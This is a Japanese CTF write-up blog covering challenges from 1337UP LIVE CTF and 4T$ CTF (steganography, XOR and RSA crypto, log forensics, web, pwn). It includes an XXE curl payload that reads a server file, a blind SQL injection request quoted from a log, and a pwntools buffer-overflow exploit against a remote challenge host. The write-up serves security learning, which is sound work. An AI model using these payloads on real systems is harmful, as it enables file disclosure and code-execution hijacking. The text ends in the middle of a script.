Location via proxy:   
[Report a bug]   [Manage cookies]                

1337UP LIVE CTF Writeup

この大会は2024/11/15 21:00(JST)~2024/11/17 9:00(JST)に開催されました。
今回もチームで参戦。結果は800点で1061チーム中273位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Warmup)

Discordに入り、#ctf-generalチャネルのトピックを見ると、フラグが書いてあった。

INTIGRITI{1f_y0u_l34v3_7h3_fl46_w1ll_b3_r3v0k3d}

Lost Program (Warmup)

バグバウンティプログラムで該当するプログラムの会社名を答える問題で、以下のように書いてある。

絵文字の中にキウイがある。Kiwiで検索すると、以下のものだけが該当する。

Ninja Kiwi Games Bug Bounty program

他の絵文字も何となく合っていそう。会社名はNinja Kiwi。

INTIGRITI{ninja_kiwi}

In Plain Sight (Warmup)

$ binwalk meow.jpg   

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2144878       0x20BA6E        Zip archive data, encrypted at least v2.0 to extract, compressed size: 1938, uncompressed size: 3446, name: flag.png
2146976       0x20C2A0        End of Zip archive, footer length: 22

zipがくっついているので、切り出す。

$ dd bs=1 skip=2144878 if=meow.jpg of=flag.zip
2120+0 records in
2120+0 records out
2120 bytes (2.1 kB, 2.1 KiB) copied, 0.261157 s, 8.1 kB/s

$ zipinfo flag.zip                      
Archive:  flag.zip
Zip file size: 2120 bytes, number of entries: 1
-rwxrw-rw-  3.0 unx     3446 BX defN 24-Oct-21 23:22 flag.png
1 file, 3446 bytes uncompressed, 1926 bytes compressed:  44.1%

パスワードがかかっている。バイナリエディタで見てみると、jpgデータとzipデータの間に以下の文字列がある。

YoullNeverGetThis719482

これをパスワードとしてzipを解凍する。

$ unzip -P YoullNeverGetThis719482 flag.zip
Archive:  flag.zip
  inflating: flag.png

展開されたflag.pngは真っ白な画像になっている。StegSolveで開き、Blue plane 1を見ると、フラグが現れた。

INTIGRITI{w4rmup_fl46z}

IrrORversible (Warmup)

$ nc irrorversible.ctf.intigriti.io 1330
 ___            ___  ____                     _ _     _      
|_ _|_ __ _ __ / _ \|  _ \__   _____ _ __ ___(_) |__ | | ___                                                                                    
 | || '__| '__| | | | |_) \ \ / / _ \ '__/ __| | '_ \| |/ _ \                                                                                   
 | || |  | |  | |_| |  _ < \ V /  __/ |  \__ \ | |_) | |  __/                                                                                   
|___|_|  |_|   \___/|_| \_\ \_/ \___|_|  |___/_|_.__/|_|\___|                                                                                   
                                                                                                                                                
 _____                             _   _                                                                                                        
| ____|_ __   ___ _ __ _   _ _ __ | |_(_) ___  _ __                                                                                             
|  _| | '_ \ / __| '__| | | | '_ \| __| |/ _ \| '_ \                                                                                            
| |___| | | | (__| |  | |_| | |_) | |_| | (_) | | | |                                                                                           
|_____|_| |_|\___|_|   \__, | .__/ \__|_|\___/|_| |_|                                                                                           
                       |___/|_|                                                                                                                 
Welcome to the military grade cryptosystem!                                                                                                     
Please enter the text you would like to encrypt:                                                                                                
1                                                                                                                                               

Your encrypted ciphertext (hex format):                                                                                                         
7864                                                                                                                                            
Thank you for playing!

$ nc irrorversible.ctf.intigriti.io 1330
 ___            ___  ____                     _ _     _      
|_ _|_ __ _ __ / _ \|  _ \__   _____ _ __ ___(_) |__ | | ___                                                                                    
 | || '__| '__| | | | |_) \ \ / / _ \ '__/ __| | '_ \| |/ _ \                                                                                   
 | || |  | |  | |_| |  _ < \ V /  __/ |  \__ \ | |_) | |  __/                                                                                   
|___|_|  |_|   \___/|_| \_\ \_/ \___|_|  |___/_|_.__/|_|\___|                                                                                   
                                                                                                                                                
 _____                             _   _                                                                                                        
| ____|_ __   ___ _ __ _   _ _ __ | |_(_) ___  _ __                                                                                             
|  _| | '_ \ / __| '__| | | | '_ \| __| |/ _ \| '_ \                                                                                            
| |___| | | | (__| |  | |_| | |_) | |_| | (_) | | | |                                                                                           
|_____|_| |_|\___|_|   \__, | .__/ \__|_|\___/|_| |_|                                                                                           
                       |___/|_|                                                                                                                 
Welcome to the military grade cryptosystem!                                                                                                     
Please enter the text you would like to encrypt:                                                                                                
12                                                                                                                                              

Your encrypted ciphertext (hex format):                                                                                                         
785c2a                                                                                                                                          
Thank you for playing!
>>> ord('2') ^ 0x5c
110
>>> ord('\n') ^ 0x64
110

改行までの入力文字列で、暗号文と平文について、2文字目のXORが同じになった。おそらくXOR鍵にフラグが含まれているので、その鍵を求める。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('irrorversible.ctf.intigriti.io', 1330))

pt = 'a' * 158

data = recvuntil(s, b':\n').rstrip()
print(data)
print(pt)
s.sendall(pt.encode() + b'\n')

for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
ct = bytes.fromhex(data.lstrip('\x1b[0m').rstrip('\x1b[32m'))
data = recvuntil(s, b'\n').rstrip()
print(data)

key = strxor(pt.encode() + b'\n', ct).decode()
print(key)

実行結果は以下の通り。

 ___            ___  ____                     _ _     _      
|_ _|_ __ _ __ / _ \|  _ \__   _____ _ __ ___(_) |__ | | ___                                                                                    
 | || '__| '__| | | | |_) \ \ / / _ \ '__/ __| | '_ \| |/ _ \                                                                                   
 | || |  | |  | |_| |  _ < \ V /  __/ |  \__ \ | |_) | |  __/                                                                                   
|___|_|  |_|   \___/|_| \_\ \_/ \___|_|  |___/_|_.__/|_|\___|                                                                                   
                                                                                                                                                
 _____                             _   _                                                                                                        
| ____|_ __   ___ _ __ _   _ _ __ | |_(_) ___  _ __                                                                                             
|  _| | '_ \ / __| '__| | | | '_ \| __| |/ _ \| '_ \                                                                                            
| |___| | | | (__| |  | |_| | |_) | |_| | (_) | | | |                                                                                           
|_____|_| |_|\___|_|   \__, | .__/ \__|_|\___/|_| |_|                                                                                           
                       |___/|_|                                                                                                                 
Welcome to the military grade cryptosystem!                                                                                                     
Please enter the text you would like to encrypt:                                                                                                
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa                                                                                                                                  
                                                                                                                                                
Your encrypted ciphertext (hex format):                                                                                                         
280f41392e334116044115131412154d410f0e410f04040541150e4107080609154d412308151241070d081141000f054105000f02044d41080f41050018410e13410f080609154f41350e41021300020a4115090812410a04184d41180e14410c141215410419110d0e13044d41282f352826332835281a03555450023e1951133e160955565e1c4d4109080505040f4100154108151241020e13044f4159
Thank you for playing!                                                                                                                          
In XOR we trust, no need to fight, Bits flip and dance, in day or night. To crack this key, you must explore, INTIGRITI{b451c_x0r_wh47?}, hidden at its core. S
INTIGRITI{b451c_x0r_wh47?}

Layers (Warmup)

0~55のファイルがあり、それぞれ2進数8桁の文字列が書いてあるので順にデコードする。しかしこの順序だとうまくいかない。更新日時の順序でデコードして結合する。

#!/usr/bin/env python3
import os
from base64 import *

timestamps = {}
for i in range(56):
    fname = 'layers/%d' % i
    with open(fname, 'r') as f:
        data = f.read()
    char = chr(int(data, 2))
    tm = os.path.getmtime(fname)
    timestamps[tm] = char

timestamps = sorted(timestamps.items())

b64_flag = ''
for _, char in timestamps:
    b64_flag += char

print('[+] encoded flag:', b64_flag)

flag = b64decode(b64_flag).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] encoded flag: SU5USUdSSVRJezdoM3IzNV9sNHkzcjVfNzBfN2gxNV9jaDRsbDNuNjN9
[*] flag: INTIGRITI{7h3r35_l4y3r5_70_7h15_ch4ll3n63}
INTIGRITI{7h3r35_l4y3r5_70_7h15_ch4ll3n63}

BabyFlow (Warmup)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char local_38 [44];
  int local_c;
  
  local_c = 0;
  printf("Enter password: ");
  fgets(local_38,0x32,stdin);
  iVar1 = strncmp(local_38,"SuPeRsEcUrEPaSsWoRd123",0x16);
  if (iVar1 == 0) {
    puts("Correct Password!");
    if (local_c == 0) {
      puts("Are you sure you are admin? o.O");
    }
    else {
      puts("INTIGRITI{the_flag_is_different_on_remote}");
    }
  }
  else {
    puts("Incorrect Password!");
  }
  return 0;
}

最初の22バイトが"SuPeRsEcUrEPaSsWoRd123"で、全体で45バイト以上の文字列を入力すると、フラグが表示される。

$ nc babyflow.ctf.intigriti.io 1331
Enter password: SuPeRsEcUrEPaSsWoRd123xxxxxxxxxxxxxxxxxxxxxxx
Correct Password!
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}

Quick Recovery (Misc)

横半分、縦半分にして三角形になるように切り、位置を変えれば、QRコードを復元できる。暗号コードと同じコードを使い、a_orderで左上側、b_orderで右下側の順序を調整する。
結果以下のコードにして復元できた。

a_order = ["2", "4", "1", "3"]  # UPDATE ME
b_order = ["3", "1", "4", "2"]  # UPDATE ME


QRコードをコードリーダで読み取ると、フラグを取得できた。

INTIGRITI{7h475_h0w_y0u_r3c0n57ruc7_qr_c0d3}

BioCorp (Web)

panel.phpに書かれている条件からHTTPヘッダとして以下の設定が必要

X-BIOCORP-VPN: 80.187.61.102

さらにXMLデータを指定することができるのでXXEを狙う。
配布ファイルの中にreactor_data.xmlがありその内容が以下のようになっているので、そのことを使う。

<?xml version="1.0" encoding="UTF-8"?>
<reactor>
    <status>
        <temperature>420</temperature>
        <pressure>1337</pressure>
        <control_rods>Lowered</control_rods>
    </status>
</reactor>
$ curl https://biocorp.ctf.intigriti.io/panel.php -H 'X-BIOCORP-VPN: 80.187.61.102' -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]><reactor><status><temperature>&xxe;</temperature><pressure>1337</pressure><control_rods>Lowered</control_rods></status></reactor>'
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>BioCorp</title>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&family=Montserrat:wght@700&display=swap" rel="stylesheet">
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css" rel="stylesheet">
    <link href="assets/css/style.css" rel="stylesheet">
    <link rel="icon" href="assets/images/logo.png" type="image/png">
    <script src="assets/js/main.js"></script>
</head>
<body>
    <nav class="navbar">
        <ul class="navbar-links">
            <li><a href="index.php">Home</a></li>
            <li><a href="about.php">About Us</a></li>
            <li><a href="contact.php">Contact</a></li>
            <li><a href="services.php">Services</a></li>
            <li><a href="panel.php">Control Panel</a></li>        </ul>
        <div class="navbar-logo">
                <img src="assets/images/logo.png" alt="BioCorp Logo">
        </div>
    </nav>

<div class="container center-content">
    <h1>Welcome to the Control Panel</h1>
    <p>Here you can view reactor values:</p>

    <ul class="reactor-values">
        <li><i class="fas fa-thermometer-half"></i> Temperature: INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn} °C</li>
        <li><i class="fas fa-tachometer-alt"></i> Pressure: 1337 kPa</li>
        <li><i class="fas fa-cogs"></i> Control Rods: Lowered</li>
    </ul>

    <button id="refresh-btn">Refresh Reactor Values</button>
</div>

<script>
    document.getElementById('refresh-btn').addEventListener('click', function () {
        location.reload();
    });
</script>

<footer class="footer">
    <p>&copy; 2024 BioCorp. All rights reserved.</p>
    <a href="https://www.youtube.com/@_CryptoCat" class="fab fa-twitter"></a>
    <a href="https://twitter.com/_CryptoCat" class="fab fa-youtube"></a>
</footer>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.2/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
</body>
</html>
INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn}

Logging (Forensics)

以下のような形式になっている部分を取り出し、途中ののASCIIコード(以下の場合DCHAR(104)の104)をデコードする。

2023-10-30 22:57:56,915 - werkzeug - INFO - 192.168.1.3 - - [30/Oct/2023 22:57:56] "GET /search?product='%20AND%206179%3D(CASE%20WHEN%20(SUBSTR((SELECT%20COALESCE(description,CHAR(32))%20FROM%20products%20WHERE%20id%20%3D%204%20LIMIT%200,1),1,1)!%3DCHAR(104))%20THEN%20(LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(200000000/2)))))%20ELSE%206179%20END)--%20MCQP HTTP/1.1" 200 -
#!/usr/bin/env python3
import re

with open('app.log', 'r') as f:
    lines = f.read().splitlines()

pattern_format1 = 'id%20%3D%204%20LIMIT%200,1\),'
pattern_format2 = ',1\)\!%3DCHAR\((\d+)\)\)%20THEN%20\(LIKE'

i = 1
msg = ''
for line in lines:
    pattern = pattern_format1 + str(i) + pattern_format2
    m = re.search(pattern, line)
    if m is not None:
        code = int(m.group(1))
        msg += chr(code)
        i += 1

print(msg)

この結果以下のようになった。

hashx{5q1_log_analys1s_f0r_7h3_w1n!}

フラグフォーマットを変更する。

INTIGRITI{5q1_log_analys1s_f0r_7h3_w1n!}

CTF Mind Tricks (Forensics)

smb2でwavファイルのやり取りがある。Wiresharkの「オブジェクトをエクスポート」で「SMB」を選択し、No.994のパケットからCapture the Flag Kings.wavをエクスポートする。
Sonic Visualiserで開き、スペクトログラムを見ると、フラグが現れた。

INTIGRITI{hidden_in_music_1337}

Schrödinger's Pad (Crypto)

サーバの処理概要は以下の通り。

・MAX_LENGTH = 160
・KEY: 英数字から160個を選択し結合したもの
・message: 既知文字列
・enc = otp(FLAG.encode(), KEY)
 ・FLAGとKEYの繰り返しのXORを返却
・encの16進数表記表示
・plaintext: 入力
・plaintextの長さが160より大きい場合、エラー
・cat_state: ランダムに0, 1から選択
・ciphertext = otp(plaintext, KEY)
・c_ciphertext = check_cat_box(ciphertext, cat_state)
 ・c: ciphertextのバイト配列
 ・cat_stateが1の場合
  ・cの長さ分以下を実行(i)
   ・c[i] = ((c[i] << 1) & 0xFF) ^ 0xAC
 ・cat_stateが0の場合
  ・cの長さ分以下を実行(i)
   ・c[i] = ((c[i] >> 1) | (c[i] << 7)) & 0xFF
   ・c[i] ^= 0xCA
 ・cを返却
・cat_state_str: cat_stateが1の場合"alive"、0の場合"dead"
・cat_state_strとc_ciphertextを表示

cat_state_strからcat_stateがわかるので、該当する方の処理の逆算でciphertextを割り出す。
次に入力文字列とのXORで、KEYを割り出す。
最後にKEYとFLAGの暗号文のXORでFLAGを割り出す。

#!/usr/bin/env python3
import socket
import re
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('pad.ctf.intigriti.io', 1348))

for _ in range(5):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

enc_flag = bytes.fromhex(data.split(' ')[-1])

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

pt = 'A' * len(enc_flag)
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)

pattern = 'cat state=(\w+)\)'
m = re.search(pattern, data)
cat_state_str = m.group(1)
c_ciphertext = bytes.fromhex(data.split(' ')[-1])

c = c_ciphertext
ciphertext = b''
if cat_state_str == 'alive':
    for i in range(len(c)):
        p = (c[i] ^ 0xAC) >> 1
        ciphertext += bytes([p])
else:
    for i in range(len(c)):
        p = c[i] ^ 0xCA
        p = ((p << 1) | (p >> 7)) & 0xFF
        ciphertext += bytes([p])

KEY = strxor(pt.encode(), ciphertext)
FLAG = strxor(enc_flag, KEY).decode()
print(FLAG)

実行結果は以下の通り。

Welcome to Schrödinger's Pad!
Due to its quantum, cat-like nature, this cryptosystem can re-use the same key
Thankfully, that means you'll never be able to uncover this secret message :')

Encrypted (cat state=ERROR! 'cat not in box'): 370a0933230b2e5b0b533f700b77360220560d346d045108100e07171e065404021e115c433d392579773e7064382c2d07591e2b42360e622d731d720817222e172012267f700e181d2e6e422a5a09395b0e6b70052b113e125127345a1d1f61493e064531540a6f2c121d374a11170617454a002f087b751e3812244021560b1e264b0c362e062b4049021853453f161f566232795d5200101b490f0c2f515b

Anyway, why don't you try it for yourself?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Encrypted (cat state=dead): 58dedaca4cddc9f05c71ccc156c1c0db40515847ccd8d2d6d8dddedbdfdf5059df52d052db50d1d272725cf672d2c1ce70dc57505348c241ca4bdfcad0f14fc9d348d14ec34259d6dd4f4d71c857dd42f05fc8424c46f2c159d24946f3df57ccdec250d8c6f0d6cd4fd3de435fd353dbd6d8f652475948c0c14173c1f0c2f3d65dce76d84bc9dec85cde515271d846d153f3c8cac6f3f151d0dededfdbca70d0
Schrodinger's cat in a quantum bind, INTIGRITI{d34d_0r_4l1v3} hidden, hard to find. Is it alive, or has fate been spun? In superposition, the game's never done.
INTIGRITI{d34d_0r_4l1v3}

4T$ CTF Writeup

この大会は2024/11/9 3:00(JST)~2024/11/11 3:00(JST)に開催されました。
今回もチームで参戦。結果は868点で337チーム中49位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (in-sanity)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

4T${S4n1ty_ch3ck_1s_3asy}

Water on Mars (misc)

StegSolveで開き、Red plane 3を見ると、以下の文字が現れた。

W4T3R<3

4T${W4T3R<3}

Pas ouf (pwn)

Ghidraでデコンパイルする。

undefined8 main(undefined4 param_1,undefined8 param_2)

{
  char local_118 [128];
  undefined local_98 [128];
  undefined8 local_18;
  undefined4 local_10;
  undefined4 local_c;
  
  local_c = 0;
  local_18 = param_2;
  local_10 = param_1;
  setvbuf(_stdout,(char *)0x0,2,0);
  memcpy(local_98,"readme.md",0x80);
  memcpy(local_118,"Hello World!",0x80);
  puts(local_118);
  gets(local_118);
  puts(local_118);
  set_file_to_read(local_98);
  return 0;
}

void set_file_to_read(void *param_1)

{
  memcpy(file_to_read,param_1,0x80);
  return;
}

void win(void)

{
  int iVar1;
  FILE *__stream;
  
  __stream = fopen(file_to_read,"r");
  while( true ) {
    iVar1 = fgetc(__stream);
    if ((char)iVar1 == -1) break;
    putchar((int)(char)iVar1);
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}
$ gdb -q ./pwn-pas-ouf                           
Reading symbols from ./pwn-pas-ouf...
(No debugging symbols found in ./pwn-pas-ouf)
gdb-peda$ pattc 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/pwn-pas-ouf 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello World!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffde68 --> 0x7fffffffe1fb ("/mnt/hgfs/Shared/pwn-pas-ouf")
RCX: 0x7ffff7eb5210 (<__GI___libc_write+16>:    cmp    rax,0xfffffffffffff000)
RDX: 0x80 
RSI: 0x7fffffffdcc0 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
RDI: 0x404060 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
RBP: 0x3425416525414925 ('%IA%eA%4')
RSP: 0x7fffffffdd58 ("A%JA%fA%5A%KA%gA%6A%")
RIP: 0x4012c0 (<main+160>:      ret)
R8 : 0xf000 
R9 : 0x0 
R10: 0x3 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffde78 --> 0x7fffffffe218 ("CLUTTER_IM_MODULE=xim")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2e0 --> 0x0 
R15: 0x403de8 --> 0x401160 (<__do_global_dtors_aux>:    endbr64)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4012b6 <main+150>: xor    eax,eax
   0x4012b8 <main+152>: add    rsp,0x110
   0x4012bf <main+159>: pop    rbp
=> 0x4012c0 <main+160>: ret
   0x4012c1:    add    BYTE PTR [rax],al
   0x4012c3:    add    BYTE PTR [rax-0x7d],cl
   0x4012c6 <_fini+2>:  in     al,dx
   0x4012c7 <_fini+3>:  or     BYTE PTR [rax-0x7d],cl
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd58 ("A%JA%fA%5A%KA%gA%6A%")
0008| 0x7fffffffdd60 ("5A%KA%gA%6A%")
0016| 0x7fffffffdd68 --> 0x25413625 ('%6A%')
0024| 0x7fffffffdd70 --> 0x100400040 
0032| 0x7fffffffdd78 --> 0x7fffffffde68 --> 0x7fffffffe1fb ("/mnt/hgfs/Shared/pwn-pas-ouf")
0040| 0x7fffffffdd80 --> 0x7fffffffde68 --> 0x7fffffffe1fb ("/mnt/hgfs/Shared/pwn-pas-ouf")
0048| 0x7fffffffdd88 --> 0x9e099925fcc54cc8 
0056| 0x7fffffffdd90 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012c0 in main ()
gdb-peda$ patto A%JA%fA%5A%KA%gA%6A%
A%JA%fA%5A%KA%gA%6A% found at offset: 280

BOFで、任意の128バイトの後に"flag"を指定し、全体で280バイトの後にリターンアドレスとwin関数のアドレスを指定すれば、flag.txtを読み込むことができる。

$ ROPgadget --binary ./pwn-pas-ouf | grep ": ret"
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('main-5000-pwn-pas-ouf-4d3d210a6bc5f582.ctf.4ts.fr', 52525, ssl=True)
else:
    p = process('./pwn-pas-ouf')

elf = ELF('./pwn-pas-ouf')

ret_addr = 0x401016
win_addr = elf.symbols['win']

payload = b'A' * 128
payload += b'flag\x00'
payload += b'B' * (280 - len(payload))
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to main-5000-pwn-pas-ouf-4d3d210a6bc5f582.ctf.4ts.fr on port 52525: Done
[*] '/mnt/hgfs/Shared/pwn-pas-ouf'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
Hello World!
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x16\x10@\x00\x00\x00\x00\x00\xa0\x11@\x00\x00\x00\x00\x00'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag
4T${p4$_0uF_Ou_tr€s_ouFF}
[*] Closed connection to main-5000-pwn-pas-ouf-4d3d210a6bc5f582.ctf.4ts.fr port 52525
4T${p4$_0uF_Ou_tr€s_ouFF}

Are you sane ? (web)

HTMLソースを見ると、以下のページへのリンクがある。

https://main-8080-web-are-you-sane-b60c9a73218bcc58.ctf.4ts.fr/blbl.html

ここにアクセスすると、フラグが表示された。

4T${7h15-f1l3-W45-N07-h1DD3N}

Gam-Gam (crypto)

nを2で割ると、pの値を算出できるので、その値を使って復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

def decrypt(ct: int, priv_key: (int, int)) -> int:
    n, d = priv_key
    return pow(ct, d, n)

pub = (1187036881143255678002463758823328059054967286304079946698830107983054756455116137560640360907617090768892222200232769013898086641365526920365941657223719909608623612364565491394396836689005779953582737606769612044152900984410189797945160970640233269434857215156707188226644140186233117418578999649675501923158500973527860820476774162258056088176836933971626651722297419469001832141393303687831763041541298637984981484605886538085054999743028130034186150375954369138007688335922353720290223733062752735362640330007395278113210621407774253326748367183647916542260385241849328645829055161868897760626313462053770486741600871918596910274170809764858924373557759944088849747488101309508664734646761762412297919300985341470183672896494363089287897564003884864937477882116184866139314943820121458541671053111784924614354354051278861337795171453392846554516472806170955424094756390970572454084554064299959563385403753982420758416150497980281277588694172034437436874006653172021381177623273333042379989422646166480734410913148567193586525237775287519085811109666011917375279015787726665088346364963313941503929463975682736763812440239892582271133388552728034109040233071519106207594592661468817905961569517921007110971395505830618097714478302, 65537)
ct = 795807804195143453698199351714341881491007858193124317249991960343873442402330541927355975462857321435938754440321580174443331666641181625664069405050964566344381744709294110771870536802353007022271867378658681771017152652337537847752445300535171488167996282441962543976576696465573991060306807268553659109840313328518099780850408480656440234846473549017585724141302898515099966486748289860601838615696366759534875502563433987281076478746704673766615604679732113066945172837918782569635525478298453073137252252807049842035005266808708242245205256476149494296039430508531375107451338401537609064664390446408507706477965483671800993119312002909135270398571898844908643483215653937390863031730605961379386046951618745731912613235578147115643378764728145934422515365821994913473759604466504627671738552946527189180057717976411101700962342930065732023681381389942592202841123754672836935980227561011259880242223658584675417448037977336301973044247690228389495603711704632306639520856078639797104835378636642939190389932673963835980987694812947833691746134338765367684261289851826492260573430796933048931658801423183863572727478714738535956082504958502080116828296338104460121704114347331800007862970894127699814246457589160922514051314061

n, e = pub
p = n // 2
phi_n = p - 1
d = pow(e, -1, phi_n)

priv = (n, d)
m = decrypt(ct, priv)
flag = long_to_bytes(m).decode()
print(flag)
4T${one_to_rule_them_all}

Not so private (crypto)

nをhttps://www.dcode.fr/prime-factors-decomposition素因数分解する。

n = 9308809837340399653 * 9638656009474996247 * 10172067034866822329 * 10354784369698224719
  * 11209486700740045189 * 11346323158137382339 * 11354147304116634911 * 11764352138541927941
  * 12173970345611589103 * 13161288593188783501 * 13232429251966529279 * 13688640699874074247
  * 14198816595521136841 * 14476726661472037681 * 14731435635793702433 * 14861104142259777419
  * 15169799324952462451 * 15238470019725544583 * 15415799843802438209 * 15511003127367003967
  * 15745096712251841113 * 15878969227403060279 * 16576514605788751547 * 16630719954639992581
  * 16671653695109508187 * 16728097962753531677 * 17996055586202421529 * 18063314945654761219
  * 18185405107246550969 * 18362837959013960089

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

